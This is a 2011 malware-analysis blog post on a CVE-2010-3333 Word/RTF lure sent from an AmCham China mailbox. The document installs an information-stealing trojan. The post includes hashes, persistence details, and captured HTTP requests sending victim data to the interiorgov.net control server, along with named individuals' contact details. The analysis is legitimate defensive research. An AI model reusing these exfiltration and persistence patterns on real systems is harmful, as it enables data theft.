Jan 6 CVE-2010-3333 DOC with info theft trojan from the American Chamber of Commerce

contagiodump.blogspot.com/2011/01/jan-6-cve-2010-3333-with-info-theft.html

Common Vulnerabilities and Exposures (CVE)number

CVE-2010-3333
Stack-based buffer overflow in Microsoft Office XP SP3, Office 2003 SP3, Office 2007 SP2, Office 2010, Office 2004 and 2008 for Mac, Office for Mac 2011, and Open XML File Format Converter for Mac allows remote attackers to execute arbitrary code via crafted RTF data, aka "RTF Stack Buffer Overflow Vulnerability

Please read a technical analysis of this vulnerability on the Microsoft Threat Research & Response Blog Targeted attacks against recently addressed Microsoft Office vulnerability (CVE-2010-3333/MS10-087) 29 Dec 2010 12:10 PM

This particular exploit was tested on and successfully exploits Office 2003 and 2007 without the patch.

General File Information

File Three Big Risks to China's Economy In 2011.doc
MD5 5A0AAC44DDAAD1E512A0D505C217BAFF
SHA1 ab6f90bf582bf01985989c1e9a99932243402479
File size :51643
Type: DOC
Distribution: Email attachment

Download

The message came from the American Chamber of Commerce in China. The interesting thing about this message is that the sender is not spoofed and the headers are real, which means that the message indeed came from the mailbox of the sender @amchamchina.org, who also happens to be a real person working at amchamchina.org - can be easily found in Google searches. The sender name and address do not match the message signature. I have removed part of the sender's name for privacy reasons.

中国美国商会
The American Chamber of Commerce
People's Republic of China

In this case, there are three possible scenarios:

> a) someone broke into that employee mailbox and sent the malicious message (in this case, I hope the IT staff at the American Chamber of Commerce in China see this post and fix the problem)
> b) the sender sent a malicious attachment not realizing it is malicious (less likely, as the attached Word document does not display readable text),
> c) the sender sent the malicious message on purpose (..)
> We may never know how that happened but hope it is a case of a mailbox password compromise.

The files created by the malicious attachment generate traffic to a server in China.

Upon opening, the file will dispay garbage text if the attack fails (fully patched MS Office) and will just close without displaying any document if the exploit is successful.

The trojan that gets installed is designed for stealing information from the infected computer - files and passwords - see the detailed analysis below.

read more...

Original Message



From: SXXX WXXXXX [mailto:XXXXX@amchamchina.org]
Sent: Thursday, January 06, 2011 8:46 PM
To: XXXXXXXXXXX
Subject: Three Big Risks to China's Economy In 2011

Dear XXXXX:

Please kindly find the attachment for your need.

If you have any question please let me know.

Best regards,

Ulan Tuya
Senior Communications Manager
86-10-8519-0835
utuya@amchamchina.org

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AmCham-China is a non-partisan and independent non-profit organization representing the interests of some 2,600 companies and individuals doing
business throughout China. Formally recognized by China’s Ministry of Civil Affairs in 1991, AmCham-China is the leader at promoting American
business interests in China. Headquartered in Beijing, with chapters in Central China (Wuhan) Tianjin and Dalian, the Chinese government recognizes
AmCham-China as America’s official chamber of commerce.

Message Headers

Received: (qmail 12375 invoked from network); 7 Jan 2011 01:46:31 -0000
Received: from mail.amchamchina.org (HELO amcham.amchamchina.org) (122.200.77.250)
by XXXXXXXXXXXXXXX with RC4-SHA encrypted SMTP; 7 Jan 2011 01:46:31 -0000
Received: from AMCMAIL.amchamchina.org ([122.200.77.246]) by
amcham.amchamchina.org ([122.200.77.250]) with mapi; Fri, 7 Jan 2011 09:48:21
+0800
From: SXXX WXXX
To: XXXXXXXXXXXXXX
Date: Fri, 7 Jan 2011 09:46:17 +0800
Subject: Three Big Risks to China's Economy In 2011

Thread-Topic: Three Big Risks to China's Economy In 2011
Thread-Index: AQHLrgx3tarISKEiT0OWHRNyijQ+D5PEvUAO
Message-ID: <146350E596927B48A9D8F7B0464B167F1762C211CB@AMCMAIL.amchamchina.org>
References: <146350E596927B48A9D8F7B0464B167F1762C211CA@AMCMAIL.amchamchina.org>
In-Reply-To: <146350E596927B48A9D8F7B0464B167F1762C211CA@AMCMAIL.amchamchina.org>
Accept-Language: zh-CN, en-US
Content-Language: zh-CN
X-MS-Has-Attach: yes
X-MS-TNEF-Correlator:
acceptlanguage: zh-CN, en-US
x-tm-as-product-ver: SMEX-8.0.0.4125-6.500.1024-17878.000
x-tm-as-result: No--40.303000-0.000000-31
x-tm-as-user-approved-sender: Yes
x-tm-as-user-blocked-sender: No
Content-Type: multipart/mixed;
boundary="_004_146350E596927B48A9D8F7B0464B167F1762C211CBAMCMAILamcham_"
MIME-Version: 1.0

Sender

IP Information for 122.200.77.250

IP Location:	China Beijing Beijing Heju Shuzi Telecom Engineering Co.ltd
Resolve Host:	**mail.amchamchina.org**
IP Address:	122.200.77.250

inetnum: 122.200.64.0 - 122.200.127.255
netname: LTEL
descr: LONGTEL NETWORKS & TECHNOLOGIES LTD.
descr: Room 601£¬Block B£¬Thunis Development Building
descr: No.11 HuiXin East Street,Chaoyang District,
descr: Beijing,100029,P.R.C.
changed: ipas@cnnic.cn 20080324
source: APNIC

person: Wang Dan
nic-hdl: WD501-AP
e-mail: sophiawang@longtelchina.com
address: LONGTEL NETWORKS & TECHNOLOGIES LTD.
address: Room 601 Block B Thunis Development Building
address: No.11 HuiXin East Street,
address: Chaoyang District,Beijing,100029,P.R.C.
phone: +86-10-64823381
fax-no: +86-10-64823885
country: CN
changed: sophiawang@longtelchina.com 20070910
mnt-by: MAINT-NEW
source: APNIC

person: Ren Weidong
nic-hdl: RW432-AP
e-mail: donnieren@longtelchina.com
address: LONGTEL NETWORKS & TECHNOLOGIES LTD.
address: Room 601 Block BThunis Development Building
address: No.11 HuiXin East Street,
address: Chaoyang District,Beijing,100029,P.R.C.
phone: +86-10-64823381
fax-no: +86-10-64823885
country: CN
changed: donnieren@longtelchina.com 20070910
mnt-by: MAINT-NEW
source: APNIC

Automated Scans

File name: Three Big Risks to China's Economy In 2011.doc
http://www.virustotal.com/file-scan/report.html?id=dc1e0b63020d586526320c0bc0f44862ba34f84fb4697e13037d3d4ff54718a1-1294403371Submission date: 2011-01-07 12:29:31 (UTC)
Result: 7 /43 (16.3%)
Avast 4.8.1351.0 2011.01.06 RTF:CVE-2010-3333
Avast5 5.0.677.0 2011.01.06 RTF:CVE-2010-3333
ClamAV 0.96.4.0 2011.01.07 BC.Exploit.CVE_2010_3333
GData 21 2011.01.07 RTF:CVE-2010-3333
McAfee 5.400.0.1158 2011.01.07 Exploit-CVE2010-3333
Microsoft 1.6402 2011.01.07 Exploit:Win32/CVE-2010-3333
Sophos 4.61.0 2011.01.07 Exp/20103333-A
MD5 : 5a0aac44ddaad1e512a0d505c217baff
SHA1 : ab6f90bf582bf01985989c1e9a99932243402479
SHA256: dc1e0b63020d586526320c0bc0f44862ba34f84fb4697e13037d3d4ff54718a1
ssdeep: 768:vAL60V502HFUDmGIFmwFrKBqQA7bzmqhe6XQKOWM2xs/gSdlY:vS60V6BhIE8rKAQWzS6gK
OWeII
File size : 51643 bytes
First seen: 2011-01-07 12:29:31
Last seen : 2011-01-07 12:29:31
Magic: Rich Text Format data, version 1, unknown character set
TrID:
Rich Text Format (100.0%)

Files Created

File: userinit.exe
Size: 49664
MD5: 20DD4DD02C2B17A40B26843AA0C660F6
Virustotal
File name: userinit.exe
Submission date: 2011-01-07 12:37:11 (UTC)
Result: 6 /42 (14.3%)
Avast 4.8.1351.0 2011.01.07 Win32:Malware-gen
Avast5 5.0.677.0 2011.01.06 Win32:Malware-gen
DrWeb 5.0.2.03300 2011.01.07 Trojan.MulDrop1.47445
F-Secure 9.0.16160.0 2011.01.07 Gen:Trojan.Heur.LP.cu5@a8zokfo
GData 21 2011.01.07 Win32:Malware-gen
Jiangmin 13.0.900 2011.01.07 Trojan/Genome.epw
MD5 : 20dd4dd02c2b17a40b26843aa0c660f6

File: userinit.dll
http://www.virustotal.com/file-scan/report.html?id=40aecc6024f83fa2f7b1fdc0b0bcb765d32c62a0b6909dd1ab4821b1f3c64d3f-1294426448
Size: 40960
MD5: DC574F47A55E022C32A12F55EEC16CC7
File name: userinit.dll
Submission date: 2011-01-07 18:54:08 (UTC)
Result: 7 /43 (16.3%)
Avast 4.8.1351.0 2011.01.07 Win32:Malware-gen
Avast5 5.0.677.0 2011.01.07 Win32:Malware-gen
BitDefender 7.2 2011.01.07 Gen:Trojan.Heur.LP.cu4@a8zokfo
Comodo 7327 2011.01.07 TrojWare.Win32.PSW.Delf.~JHN
F-Secure 9.0.16160.0 2011.01.07 Gen:Trojan.Heur.LP.cu4@a8zokfo
GData 21 2011.01.07 Gen:Trojan.Heur.LP.cu4@a8zokfo
Panda 10.0.2.7 2011.01.07 Suspicious file
MD5 : dc574f47a55e022c32a12f55eec16cc7

Created files
C:\Documents and Settings\mila\Local Settings\Application Data\Windows\userinit.dll MD5: DC574F47A55E022C32A12F55EEC16CC7
C:\Documents and Settings\mila\Local Settings\Application Data\Windows\userinit.exe MD5: 20DD4DD02C2B17A40B26843AA0C660F6

C:\Documents and Settings\mila\Start Menu\Programs\Startup\userinit.exe MD5: 20DD4DD02C2B17A40B26843AA0C660F6
C:\Documents and Settings\All Users\Application Data\desktop.BIN `` MD5: 20DD4DD02C2B17A40B26843AA0C660F6

Userinit.exe additional information

I want to thank Andre' M. DiMino of the Shadowserver Foundation and villy of Bugix Security for their help and information

> See Anubis and Joe box reports for more details. Here are a few notes:

1. I did not observe any changes in registry . The persistence is achieved via relaunching the binary from the infected user startup folder (Start Menu\Programs\Startup\userinit.exe), also the there is a copy of the file gets created as All Users\Application Data\desktop.BIN
2. Userinit.exe creates folder logs in %userprofile%\Local Settings\Application Data\Windows\Logs. A shortcut like in the image below shows up in that directory for a split second but I did not capture it. This is the file that gets transmitted with HTTP POST, MDAwMGhIR UwuMDk in meta part of the URL string can be decoded as meta=0000hHEL.09

> **POST /windowsupdatev7/search%3Fhl%3DSABBAE4AUwA%3D%26q%3DMQA5ADI ALgAxADYAOAAuADIALgAyAA% 3D%3D%26meta%3D**MDAwMGhIRUwuMDk**%3D%26id%3 D***lfdxfircvscxggb*** HTTP/1.1.

The last part -lfdxfircvscxggb - is changing with each GET request and is possibly an encoded directories names on the victim pc (thanks to Villy for the info here)



3. See the Ascii strings below -. It appears the binary gathers the system info (Sysinfo.txt file gets created and deleted), IP address, and user name for transmission to the remote server. The listing of file extensions (.**doc.xls.pdf.rtf.eml.pgp.vpn.wab.csv.docx.xlsx + **Proxy info****Office info***IE info****Hotfix info****OS info****) is interesting. We did not observe any file transmissions but possibly obtaining the files with the listed extensions is the end goal of the attackers.
4. Villy provided the following info

> "some strings encoded using simple encoding to bypass static analysis by AV
> to decode strings used the following aglorithm
> for(i=0;i
> it's means that every byte in the string is decreased by number of its position in the string
> userinit.dll - is a service
> and installed with svchost(SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost

> It also grabs protected storage -saved passwords from IE 6.0 and below), and saved outlook passwords, versions of MS Office and Internet Explorer

5. Hooks userinit.dll into explorer.exe (only Explorer.exe for Windows XP box despite a large number of apps open and processes running) and into multiple processes (observed on Windows 7 box

Windows XP

Owner	Open Object	Handle/Offset
3156: explorer.exe	C:\Documents and Settings\Mila\Local Settings\Application Data\Windows\userinit.dll	0x02840000

Windows 7

5464: icq.exe	C:\Users\Mila\AppData\Local\Windows\userinit.dll	0x10000000
6524: wlcomm.exe	C:\Users\Mila\AppData\Local\Windows\userinit.dll	0x10000000
2412: palemoon.exe	C:\Users\Mila\AppData\Local\Windows\userinit.dll	0x02600000
3248: plugin-container.exe	C:\Users\Mila\AppData\Local\Windows\userinit.dll	0x10000000
4376: outlook.exe	C:\Users\Mila\AppData\Local\Windows\userinit.dll	0x0EA60000
3192: chrome.exe	C:\Users\Mila\AppData\Local\Windows\userinit.dll	0x10000000
4684: chrome.exe	C:\Users\Mila\AppData\Local\Windows\userinit.dll	0x04B20000
6992: firefox.exe	C:\Users\Mila\AppData\Local\Windows\userinit.dll	0x027E0000
5204: virustotalupload2.exe	C:\Users\Mila\AppData\Local\Windows\userinit.dll	0x10000000
1892: shellext.exe	C:\Users\Mila\AppData\Local\Windows\userinit.dll	0x10000000
6648: iexplore.exe	C:\Users\Mila\AppData\Local\Windows\userinit.dll	0x10000000
7364: iexplore.exe	C:\Users\Mila\AppData\Local\Windows\userinit.dll	0x032A0000
7608: excel.exe	C:\Users\Mila\AppData\Local\Windows\userinit.dll	0x10000000
8812: shellext.exe	C:\Users\Mila\AppData\Local\Windows\userinit.dll	0x10000000
8196: aam updates notifier.exe	C:\Users\Mila\AppData\Local\Windows\userinit.dll	0x00E20000
9188: iexplore.exe	C:\Users\Mila\AppData\Local\Windows\userinit.dll	0x01200000

> Note the html code of the page displayed upon visiting http://globalization.interiorgov.net/windowsupdatev7
>
> 
>
>
> Under Construction
> www.microsoft.com
>
> can be seen in the Ascii Strings of the binary
> ..div align="center"..Under Construction
> ..div align="center"..;www.microsoft.com

> Ascii strings (partial) userinit.exe

Joe Box analysis report (thanks to Andre' M. DiMino) userinit.exe

> Download Joe Box Report for binary sandbox analysis on Windows 7
> Download Joe Box Report for binary sandbox analysis on Windows XP

Anubis scan report userinit.exe
http://anubis.iseclab.org/?action=result&task_id=11c167a3ff87c2e24fd3e993d65ae2aae

Network activity

Download 114.248.83.92userinitJan7-11pm.pcap
Download 123.120.107.46userinitbeforeJan710pm.pcap
Download the Anubis generated pcap file

```
[=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=]
    DNS Queries:
        Name: [ globalization.interiorgov.net ], Query Type: [ DNS_TYPE_A ],
            Query Result: [ 123.120.107.46 ], Successful: [ 1 ], Protocol: [ udp ]

[=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=]
    HTTP Conversations:

 to 123.120.107.46:80 - [ globalization.interiorgov.net ]
             Request: [ GET /windowsupdatev7/search?hl=UABDAA==&q=MQA5ADIALgAxADYAOAAuADAALgAyAA==&meta=Lg==&id=phqghumeaylnlfd ],
Response: [ 200 "OK" ]
to 123.120.107.46:80 - [ globalization.interiorgov.net ]
             Request: [ GET /windowsupdatev7/search?hl=UABDAA==&q=MQA5ADIALgAxADYAOAAuADAALgAyAA==&meta=Li4=&id=xfircvscxggbwkf ],
Response: [ 200 "OK" ]
```

Contents of the web server robots.txt file (thanks to Andre')
畋灱瀠湉祸牅牲牯›慜汩揚瑰潤湮瀯捥⁴潴䴠湡慢搧慳楷瑜祊杣瑮渼祤瀰杲瑬湤砿

Domain: **interiorgov.net - Domain History**
Cache Date: 2011-01-03
Registrar: NAME2HOST, INC. DBA NAME2HOST.COM

Server: whois.name2host.com
Created: 2010-09-07
Updated: 2010-09-07
Expires: 2011-09-07
qingwa20102010@163.com
Domain name: INTERIORGOV.NET
Updated Date: 2010-09-08
Creation Date: 2010-09-08
Expiration Date: 2011-09-08

Registrar of Record: NAME2HOST, INC.
Domain servers in listed order:
DNS1.51.NET 118.144.82.171
DNS2.51.NET 118.145.1.7

IP addresses
The hosting IP address of the domain keeps changing but within the same provider

IP Address 1 - As recorded on January 7, 2011

IP address 123.120.107.46
inetnum: 123.112.0.0 - 123.127.255.255
netname: UNICOM-BJ
descr: China Unicom Beijing province network
address: No.21,Jin-Rong Street
address: Beijing,100140
address: P.R.China
phone: +86-10-66259940
fax-no: +86-10-66259764

person: sun ying
address: fu xing men nei da jie 97, Xicheng District
address: Beijing 100800

There are usually 2-4 HTTP GET requests followed by one HTTP POST (12,000-20,000 bytes length), followed by many HTTP GET requests again. I did not observe more than one HTTP POST per binary execution. The strings in HTTP GET requests are identical except for the last part "id" of the string (see this code in the binary ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ /windowsupdatev7/search?hl=%s&q=%s&meta=%s&id=%s)

Example 1

> GET
> /windowsupdatev7/search%3Fhl%3DWABQAFMAUAAzAC0AUgA5ADMALQBPAEYAQwAyADAA%26q%3DMQA3ADIALgAyADkALgAwAC4
> HTTP/1.1
> GET
> /windowsupdatev7/search%3Fhl%3DWABQAFMAUAAzAC0AUgA5ADMALQBPAEYAQwAyADAA%26q%3DMQA3ADIALgAyADkALgAwAC4
> HTTP/1.1
> POST
> /windowsupdatev7/search%3Fhl%3DWABQAFMAUAAzAC0AUgA5ADMALQBPAEYAQwAyADAA%26q%3DMQA3ADIALgAyADkALgAwAC4
> HTTP/1.1
> GET
> /windowsupdatev7/search%3Fhl%3DWABQAFMAUAAzAC0AUgA5ADMALQBPAEYAQwAyADAA%26q%3DMQA3ADIALgAyADkALgAwAC4
> HTTP/1.1
> GET
> /windowsupdatev7/search%3Fhl%3DWABQAFMAUAAzAC0AUgA5ADMALQBPAEYAQwAyADAA%26q%3DMQA3ADIALgAyADkALgAwAC4
> HTTP/1.1
> GET
> /windowsupdatev7/search%3Fhl%3DWABQAFMAUAAzAC0AUgA5ADMALQBPAEYAQwAyADAA%26q%3DMQA3ADIALgAyADkALgAwAC4
> HTTP/1.1
> GET
> /windowsupdatev7/search%3Fhl%3DWABQAFMAUAAzAC0AUgA5ADMALQBPAEYAQwAyADAA%26q%3DMQA3ADIALgAyADkALgAwAC4
> HTTP/1.1
> GET
> /windowsupdatev7/search%3Fhl%3DWABQAFMAUAAzAC0AUgA5ADMALQBPAEYAQwAyADAA%26q%3DMQA3ADIALgAyADkALgAwAC4
> HTTP/1.1
> GET
> /windowsupdatev7/search%3Fhl%3DWABQAFMAUAAzAC0AUgA5ADMALQBPAEYAQwAyADAA%26q%3DMQA3ADIALgAyADkALgAwAC4
> HTTP/1.1
> GET
> /windowsupdatev7/search%3Fhl%3DWABQAFMAUAAzAC0AUgA5ADMALQBPAEYAQwAyADAA%26q%3DMQA3ADIALgAyADkALgAwAC4
> HTTP/1.1
> GET
> /windowsupdatev7/search%3Fhl%3DWABQAFMAUAAzAC0AUgA5ADMALQBPAEYAQwAyADAA%26q%3DMQA3ADIALgAyADkALgAwAC4
> HTTP/1.1
> GET
> /windowsupdatev7/search%3Fhl%3DWABQAFMAUAAzAC0AUgA5ADMALQBPAEYAQwAyADAA%26q%3DMQA3ADIALgAyADkALgAwAC4
> HTTP/1.1
> GET
> /windowsupdatev7/search%3Fhl%3DWABQAFMAUAAzAC0AUgA5ADMALQBPAEYAQwAyADAA%26q%3DMQA3ADIALgAyADkALgAwAC4
> HTTP/1.1
> GET
> /windowsupdatev7/search%3Fhl%3DWABQAFMAUAAzAC0AUgA5ADMALQBPAEYAQwAyADAA%26q%3DMQA3ADIALgAyADkALgAwAC4
> HTTP/1.1
> GET
> /windowsupdatev7/search%3Fhl%3DWABQAFMAUAAzAC0AUgA5ADMALQBPAEYAQwAyADAA%26q%3DMQA3ADIALgAyADkALgAwAC4
> HTTP/1.1

Example 2 The strings sometimes retransmit [TCP Retransmission] and you will see identical GET requests

> **GET /windowsupdatev7/search%3Fhl%3DSABBAE4AUwA%3D%26q%3DMQA5ADIA LgAxADYAOAAuADIALgAyAA%3D%3D%26m
> eta%3DLg%3D%3D%26id%3Dphqghumeay lnlfd HTTP/1.1
> **GET /windowsupdatev7/search%3Fhl%3DSABBAE4AUwA%3D%26q%3DMQA5ADIA LgAxADYAOAAuADIALgAyAA%3D%3D%26m
> eta%3DLi4%3D%26id%3Dxfircvscxggb wkf HTTP/1.1
> **GET /windowsupdatev7/search%3Fhl%3DSABBAE4AUwA%3D%26q%3DMQA5ADIA LgAxADYAOAAuADIALgAyAA%3D%3D%26m
> eta%3DLi4%3D%26id%3Dxfircvscxggb wkf HTTP/1.1
> **POST /windowsupdatev7/search%3Fhl%3DSABBAE4AUwA%3D%26q%3DMQA5ADI ALgAxADYAOAAuADIALgAyAA%3D%3D%26
> meta%3DMDAwMGhIRUwuMDk%3D%26id%3 Dlfdxfircvscxggb HTTP/1.1

Strings can be decoded

echo urldecode("GET
/windowsupdatev7/search%3Fhl%3DWABQAFMAUAAzAC0AUgA5ADMALQBPAEYAQwAyADAA%26q%3DMQA3ADIALgAyADkALgAwAC4AMG
HTTP/1.1");
?>
|||

GET /windowsupdatev7/search?
hl=WABQAFMAUAAzAC0AUgA5ADMALQBPAEYAQwAyADAA&q=MQA3ADIALgAyADkALgAwAC4AMQAxADYA&meta=Lg==&id=amyehwqnqrq
HTTP/1.1

without %, %3d - =, %26 - &
|||

```
echo "hl=".base64_decode("WABQAFMAUAAzAC0AUgA5ADMALQBPAEYAQwAyADAA")."\n";
echo "q=".base64_decode("MQA3ADIALgAyADkALgAwAC4AMQAxADYA")."\n";
echo "meta=".base64_decode("Lg==&")."\n";
echo "id=".base64_decode("amyehwqnqrqpmxu")."\n";
?>
```

|||
hl - compname(unicode string encoded with base64)
q - ip address(unicode string encoded with base64)
meta - directory where search(base64 encoded)
id - changing string, presumably a directory name on the victim's pc
|||
the end result
hl=XPSP3-R93-OFC20
q=172.29.0.116

As mentioned above, **MDAwMGhlRUwuMDk** in meta part of the URL string can be decoded as **meta=0000hHEL.09**

> **POST /windowsupdatev7/search%3Fhl%3DSABBAE4AUwA%3D%26q%3DMQA5ADI ALgAxADYAOAAuADIALgAyAA%3D%3D%26 meta%3D**MDAwMGhlRUwuMDk**%3D%26id%3 D***lfdxfircvscxggb*** HTTP/1.1.

The last part -lfdxfircvscxggb - is changing with each GET request and is possibly an encoded directories names on the victim pc (thanks to Villy for his help with these)





IP Address 2 - Changed between 10 and 11pm January 7, 2011
IP Address: 114.248.83.92
NetRange: 114.0.0.0 - 114.255.255.255
netname: UNICOM-BJ
descr: China Unicom Beijing province network
address: No.21,Jin-Rong Street
address: Beijing,100140
address: P.R.China
phone: +86-10-66259940

fax-no: +86-10-66259764
person: sun ying
address: fu xing men nei da jie 97, Xicheng District
address: Beijing 100800

SSL traffic started for environment.interiorgov.net domain, and unlike globalization.interiorgov.net, environment subdomain is not hardcoded in the binary downloaded from the server (see 114.248.83.92userinitJan7-11pm.pcap tcp.stream eq 3 - correction from Kyle Yung), all communications always start with globalization.interiorgov.net. Also, the SSL traffic was observed only for 114.248.83.92



Example of SSL traffic



The following conversation between the server and the victim pc also takes place (thanks to Andre' DiMino for the capture :)

www: 172.29.0.116:1045 -> 114.248.83.92:80

File 114.248.83.92userinitJan7-11pm.pcap, Session 2



www: 172.29.0.116:1054 -> 114.248.83.92:80

File 114.248.83.92userinitJan7-11pm.pcap, Session 4

IP Address 3 - Changed before 9 am on January 8, 2011
IP Address: 123.120.106.88
inetnum: 123.112.0.0 - 123.127.255.255
netname: UNICOM-BJ
descr: China Unicom Beijing province network
address: No.21,Jin-Rong Street
address: Beijing,100140
address: P.R.China
phone: +86-10-66259940
fax-no: +86-10-66259764
person: sun ying
address: fu xing men nei da jie 97, Xicheng District
address: Beijing 100800 The hosting history screenshot posted below does not include all the changes for the past two days

Hosting History for Interiorgov.net

Domain Search

Enter a Domain Name
Domain Name: interiorgov.net Get History
Enter a domain name into the search box to retrieve the hosting history.

Registrar History

Date	Registrar
2007-07-25	Name.com aka DomainSite
2010-09-07	name2host

IP Address History

Event Date	Action	Pre-Action IP	Post-Action IP
2010-09-09	New	-none-	127.0.0.1

Note: The current IP location and IP whois may not be the same as it was on the event date.

Name Server History

Event Date	Action	Pre-Action Server	Post-Action Server
2007-12-22	New	-none-	Debt-relief-programs.com
2007-12-25	Delete	Debt-relief-programs.com	-none-
2010-09-09	New	-none-	51.net